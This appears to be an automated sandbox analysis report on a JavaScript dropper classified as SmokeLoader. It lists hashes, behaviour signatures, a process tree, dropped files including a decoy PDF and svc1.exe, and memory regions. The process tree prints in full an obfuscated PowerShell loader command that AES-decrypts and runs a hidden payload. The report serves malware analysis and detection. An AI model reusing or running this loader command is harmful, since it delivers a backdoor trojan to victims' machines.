Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2025 06:19

General

  • Target

    35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023.js

  • Size

    16KB

  • MD5

    176c3de6c4a1ac5c34b6d6be54fca774

  • SHA1

    73efc19941b9341f7735a616888b4f306b4815eb

  • SHA256

    35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023

  • SHA512

    fa72ece6c653565da20dfa3a530b5a5b537e84675fba4f86ac3429aac075951838e31e6b968ee9c493ea3663b1eafa5f0076e6e445b04415258f1409910c3789

  • SSDEEP

    384:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrVBhrpOJ9/awXJ1XIHN1w2/tptXvERR7FM:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrr

Malware Config

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Smokeloader family
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function aworhDFA($DBXH){-split($DBXH -replace '..', '0x$& ')};$fALc=aworhDFA('EED9B197D54DA6B92EB15CC03B6D445E27AD607169CBA361AA91D9402EDBC0C59EC498856B0060A6651C9C59FE14940CA5E92DDC0500A4AF1EC5A5176CCFB7633437BE8F8C27CFB2519140315EEF0F35B22F050FD11A56C2661CC2C936E15E40F0D77BE011A826A380FD9283DA89508ECAA4BFC478B7B2FF3378F47B1785BD6BEE2C611511611D0838DB78AE5A10E3AE41CB337DC7C678D511D469F5DDFC3BD23CD16C73FF9683485A7A769386476C80BA6EF39FB9F50ACFCBA61E3A07C66B9B177FC3E3B90BA283B109B05AB08640572345230FCF45582958002D491D707CAD30F8174D9906702B2A074754CC3CCD660423AF0674172F1E5BD9F0C147DBAA46C4B54D9674F6C5D519B6EBF733A9180104DB077C85E6CA99483071D62BED6074273D89E196FA0590FA319E661A51C38CEC9E5EEF90D255E29B0EE1A3EC742AB27B6CB96EA153F362E4FE0258DD1BBE74952CD44BB888325B2DE507E129C2F15315E099048EE6FB3499FAE653F423716E464961321B5F39873241233B8DA0CBCD49A7EBA7BA500594C5E9A89C2A4E423F959C2CDCE53334EF939E066695907C914CA8C53111E72D9E3E5FA4A1CDBBA6E9E0E5F4DC8B185A47AA2D54ACC70BB307740CAB75FF143AACC56A265375DB30FAE661837CF21D6F7B734DA9F1B6ED5B57');$GUBnhtMFt=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((aworhDFA('686B714850464741614A776B46717654')),[byte[]]::new(16)).TransformFinalBlock($fALc,0,$fALc.Length)); & $GUBnhtMFt.Substring(0,3) $GUBnhtMFt.Substring(82)
      2⤵
      • Blocklisted process makes network request
      • Downloads MZ/PE file
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Roaming\invoce2.pdf
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd5d9646f8,0x7ffd5d964708,0x7ffd5d964718
          4⤵
            PID:4044
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2332 /prefetch:2
            4⤵
              PID:5084
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4556
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2968 /prefetch:8
              4⤵
                PID:2320
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
                4⤵
                  PID:384
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
                  4⤵
                    PID:2264
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4260 /prefetch:1
                    4⤵
                      PID:4072
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=4488 /prefetch:6
                      4⤵
                        PID:3648
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4816 /prefetch:8
                        4⤵
                          PID:1976
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4816 /prefetch:8
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1648
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1
                          4⤵
                            PID:4404
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4916 /prefetch:1
                            4⤵
                              PID:1040
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
                              4⤵
                                PID:3408
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2320,18375957538532039442,13337985224193134856,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:1
                                4⤵
                                  PID:1396
                              • C:\Users\Admin\AppData\Roaming\svc1.exe
                                "C:\Users\Admin\AppData\Roaming\svc1.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • System Location Discovery: System Language Discovery
                                PID:1512
                                • C:\Users\Admin\AppData\Roaming\svc1.exe
                                  "C:\Users\Admin\AppData\Roaming\svc1.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Checks SCSI registry key(s)
                                  PID:4068
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 816
                                  4⤵
                                  • Program crash
                                  PID:1996
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:1808
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4416
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1512 -ip 1512
                                1⤵
                                  PID:4452

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  ae2a8f2ebc841509f7b978edf590d3cd

                                  SHA1

                                  91358152e27c0165334913228005540756c35bd3

                                  SHA256

                                  631550765e3db02be0709748c0634a2cfdab711cea94f5890854d0c1dfbcb214

                                  SHA512

                                  e52180dd175f1e6ff72d76400085869387cd70da33919de219a04dc26871e8421e93b22e7c59125c19c6ee54a8a8f742d796ac68ea9077c9dab5f03b80967d11

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  9bfb45e464f029b27cd825568bc06765

                                  SHA1

                                  a4962b4fd45004732f071e16977522709ab0ce60

                                  SHA256

                                  ceb8f1b0aaa1ba575c3704e73fd77edf932d68c8be902b33f1ba3b1d130cd139

                                  SHA512

                                  f87cce8bb5489b56027f5a285b948b639a1c7b0f213a111f057235177e5bffc537627c82586736704e398a0185cf2ad8ba8cdee788531fb753a2d08f16e906c7

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  5KB

                                  MD5

                                  373204155394aa200ba3f1c28f42674b

                                  SHA1

                                  d3ef59c2d4303f3d57e8aceac5c76bf3300b43c1

                                  SHA256

                                  af54bdb45aa74bb2ba699d8599886312f621d23b475ce05092b7c5ad69caf6fe

                                  SHA512

                                  5a4126fda0c6c8ae98edfbc7108ac9a8c33b1343c7ea4b0eae9b9b831dbde0be40b0ca8143ab3da4dbb4a340153d6ca098833f92bccc5efc121feae816aa6714

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  670286c7ddca1b216408b18d61598414

                                  SHA1

                                  69652a58be1e80cd64841faa3bdb1b036b738a6c

                                  SHA256

                                  d9c1edfd950ad13a2b93d06572f73ba38915a84c80a431d2b24875a55469bb12

                                  SHA512

                                  804b2e218453d0ff8e6e592633237f4dd8e656ced01c8b729308520c96548033988c22ab760c9f6149fe74201db26259717d6bc26ce8efccd2747f3b1d2acc8e

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  46295cac801e5d4857d09837238a6394

                                  SHA1

                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                  SHA256

                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                  SHA512

                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  206702161f94c5cd39fadd03f4014d98

                                  SHA1

                                  bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                  SHA256

                                  1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                  SHA512

                                  0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                  Filesize

                                  11KB

                                  MD5

                                  429cd76d80858e0678d5722d1fb81e84

                                  SHA1

                                  5f9bca932b61bcb406656a6881dfae50d60ddf93

                                  SHA256

                                  6db9bbc489329babab5a91987acd2efbf06f4ee2cb6b17326388c8cc67084470

                                  SHA512

                                  65d6cfdfcdad1876345984eadb3dd0d5bcd9dfa9b67e7008f96d9e8b5b8a2ad2ae32eadc8595cd1065f97df23ca36c50532e821d06565135fb56ab686315756f

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rubgy4m.vqf.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Users\Admin\AppData\Roaming\invoce2.pdf

                                  Filesize

                                  364KB

                                  MD5

                                  c1380960e290da0e4117ac25b7cfde01

                                  SHA1

                                  dc02576656cdf55e4408e5e0a8c9369eabcede65

                                  SHA256

                                  1ded8c21206cb4c4897721705602ee76c68505bf6a4441739da066ac679030fd

                                  SHA512

                                  a2301944c606baf44f35e479f568ed8e6fee32ef72cc7a5492b12c74f48f1f694e1d3a8bb9df5ea50ee5ece7dbc893f7da5415e5e4201ab01ecb342dee56350b

                                • C:\Users\Admin\AppData\Roaming\svc1.exe

                                  Filesize

                                  226KB

                                  MD5

                                  63d0e572062c5bfc60fa8496cebe6ca9

                                  SHA1

                                  806274356d15cecd1b3eb10a50c6d4ddbe4a23d7

                                  SHA256

                                  498ffb8797241785a8667e3be04c743301aaa5b75703847793597a700e41e1a8

                                  SHA512

                                  e9d2b7614660c4e09b6a7006266606a53e83936736e1e05a9878fd5ab903306619e7c32a1c0e658e08cf3b09c7ed7770fe8565451fa8bfabe84de3c9db4fea5f

                                • memory/1512-77-0x0000000000700000-0x000000000073C000-memory.dmp

                                  Filesize

                                  240KB

                                • memory/1512-78-0x00000000055D0000-0x0000000005B74000-memory.dmp

                                  Filesize

                                  5.6MB

                                • memory/2352-13-0x00007FFD67173000-0x00007FFD67175000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2352-14-0x00007FFD67170000-0x00007FFD67C31000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2352-76-0x00007FFD67170000-0x00007FFD67C31000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2352-0-0x00007FFD67173000-0x00007FFD67175000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2352-12-0x00007FFD67170000-0x00007FFD67C31000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2352-11-0x00007FFD67170000-0x00007FFD67C31000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2352-6-0x00000235BA040000-0x00000235BA062000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/4068-80-0x0000000000400000-0x000000000040B000-memory.dmp

                                  Filesize

                                  44KB